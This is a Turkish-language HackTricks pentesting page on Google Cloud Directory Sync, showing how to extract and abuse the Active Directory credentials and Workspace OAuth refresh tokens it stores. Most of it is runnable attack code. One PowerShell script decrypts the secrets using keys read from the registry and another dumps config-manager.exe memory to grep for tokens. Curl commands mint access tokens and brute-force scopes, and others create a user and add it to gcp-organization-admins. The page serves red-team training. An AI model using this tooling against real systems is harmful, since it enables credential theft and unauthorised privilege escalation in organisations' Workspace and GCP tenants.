GCDS - Google Cloud Directory Sync

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu, aktif dizin kullanıcılarınızı ve gruplarınızı Workspace’inize senkronize etmek için kullanılabilecek bir araçtır (ve bu yazının yazıldığı sırada tam tersi değildir).

İlginçtir ki, bu araç bir Workspace süper kullanıcısının ve ayrıcalıklı AD kullanıcısının kimlik bilgilerini gerektirecektir. Bu nedenle, zaman zaman kullanıcıları senkronize eden bir alan sunucusunda bulunması mümkün olabilir.

Note

config-manager.exe ikili dosyasına bir MitM gerçekleştirmek için config.manager.vmoptions dosyasına aşağıdaki satırı ekleyin: -Dcom.sun.net.ssl.checkRevocation=false

Tip

Winpeas aracının GCDS’yi tespit edebildiğini, yapılandırma hakkında bilgi alabileceğini ve hatta şifreleri ve şifrelenmiş kimlik bilgilerini elde edebileceğini unutmayın.

Ayrıca, GCDS’nin AD’den Workspace’e şifreleri senkronize etmeyeceğini unutmayın. Eğer bir şey olursa, sadece Workspace’te yeni oluşturulan kullanıcılar için rastgele şifreler üretecektir, bunu aşağıdaki görüntüde görebilirsiniz:

GCDS - Disk Tokenleri & AD Kimlik Bilgileri

config-manager.exe ikili dosyası (GUI ile ana GCDS ikilisi) yapılandırılmış Aktif Dizin kimlik bilgilerini, yenileme tokenini ve erişimi varsayılan olarak C:\Program Files\Google Cloud Directory Sync klasöründe Untitled-1.xml adlı bir dosyada saklayacaktır. Ancak, bu aynı zamanda kullanıcının Documents klasöründe veya herhangi bir başka klasörde de kaydedilebilir.

Ayrıca, kayıt defteri HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui içindeki open.recent anahtarı, en son açılan yapılandırma dosyalarının (xml’lerin) yollarını içerir. Bu nedenle, bunları bulmak için kontrol etmek mümkündür.

Dosya içindeki en ilginç bilgiler şunlar olacaktır:

[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

Not edin ki refresh token ve kullanıcının şifresi, rastgele üretilen bir anahtar ve IV ile AES CBC kullanılarak şifrelenmiştir ve HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util içinde saklanmaktadır (nerede olursa olsun prefs Java kütüphanesi tercihleri saklar) ve /Encryption/Policy/V2.iv ile /Encryption/Policy/V2.key dize anahtarlarında base64 formatında saklanmaktadır.

Refresh token ve şifreyi şifrelemek için Powershell scripti ```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"

Open the registry key

try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw “Registry key not found: HKCU$regPath” } } catch { Write-Error “Failed to open registry key: $_” exit }

Get Base64-encoded IV and Key from the registry

try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace ‘/’, ‘’ $ivBase64 = $ivBase64 -replace ‘\’, ‘/’ if (-not $ivBase64) { Throw “IV not found in registry” } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace ‘/’, ‘’ $keyBase64 = $keyBase64 -replace ‘\’, ‘/’ if (-not $keyBase64) { Throw “Key not found in registry” } } catch { Write-Error “Failed to read registry values: $_” exit } $regKey.Close()

Decode Base64 IV and Key

$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)

Read XML content

$xmlContent = Get-Content -Path $xmlConfigPath -Raw

Extract Base64-encoded encrypted values using regex

$refreshTokenMatch = [regex]::Match($xmlContent, “(.*?)”) $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, “(.*?)”) $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

Decode encrypted values from Base64

$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

Function to decrypt data using AES CBC

Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close() $memoryStream.Close()

return $plaintextBytes }

Decrypt the values

$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

Output the decrypted values

Write-Host “Decrypted Refresh Token: $refreshToken” Write-Host “Decrypted Password: $decryptedPassword”

</details>

> [!NOTE]
> Bu bilginin kontrol edilebileceğini unutmayın, **`DirSync.jar`** dosyasının java kodunu **`C:\Program Files\Google Cloud Directory Sync`** konumunda `exportkeys` dizesini arayarak kontrol edebilirsiniz (çünkü bu, `upgrade-config.exe` ikilisinin anahtarları dökmesini beklediği cli parametresidir).

Powershell betiği kullanmak yerine, **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** ikilisini `-exportKeys` parametresi ile kullanarak anahtar ve IV'yi kayıt defterinden hex formatında alabilir ve ardından bu anahtar ve IV ile AES/CBC kullanarak bazı cyberchef araçlarıyla bilgiyi şifre çözebilirsiniz.

### GCDS - Bellekten token dökme

GCPW ile olduğu gibi, `config-manager.exe` sürecinin belleğini dökmek mümkündür (bu, GCDS ana ikilisinin GUI ile olan adıdır) ve yenileme ve erişim tokenlerini bulabileceksiniz (eğer zaten oluşturulmuşlarsa).\
Ayrıca AD yapılandırılmış kimlik bilgilerini de bulabileceğinizi düşünüyorum.

<details>

<summary>config-manager.exe süreçlerini dök ve tokenleri ara</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - Yenileme jetonlarından erişim jetonları oluşturma

Yenileme jetonunu kullanarak, aşağıdaki komutta belirtilen istemci kimliği ve istemci sırrı ile erişim jetonları oluşturmak mümkündür:

curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCDS - Kapsamlar

Note

Bir refresh token’a sahip olsanız bile, erişim token’ı için herhangi bir kapsam talep etmenin mümkün olmadığını unutmayın, çünkü yalnızca erişim token’ını oluşturduğunuz uygulama tarafından desteklenen kapsamları talep edebilirsiniz.

Ayrıca, refresh token her uygulamada geçerli değildir.

Varsayılan olarak GCSD, kullanıcı olarak her olası OAuth kapsamına erişime sahip olmayacaktır, bu nedenle aşağıdaki scripti kullanarak refresh_token ile bir access_token oluşturmak için kullanılabilecek kapsamları bulabiliriz:

Kapsamları brute-force yapmak için Bash scripti ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

Ve yazma anında aldığım çıktı:

https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts

#### Bir kullanıcı oluşturun ve bunu `gcp-organization-admins` grubuna ekleyin, GCP'de yükselmeyi deneyin
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

Caution

Yeni kullanıcıya Super Amin rolü verilemez çünkü yenileme jetonu gerekli yetkileri vermek için yeterli kapsamda değildir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin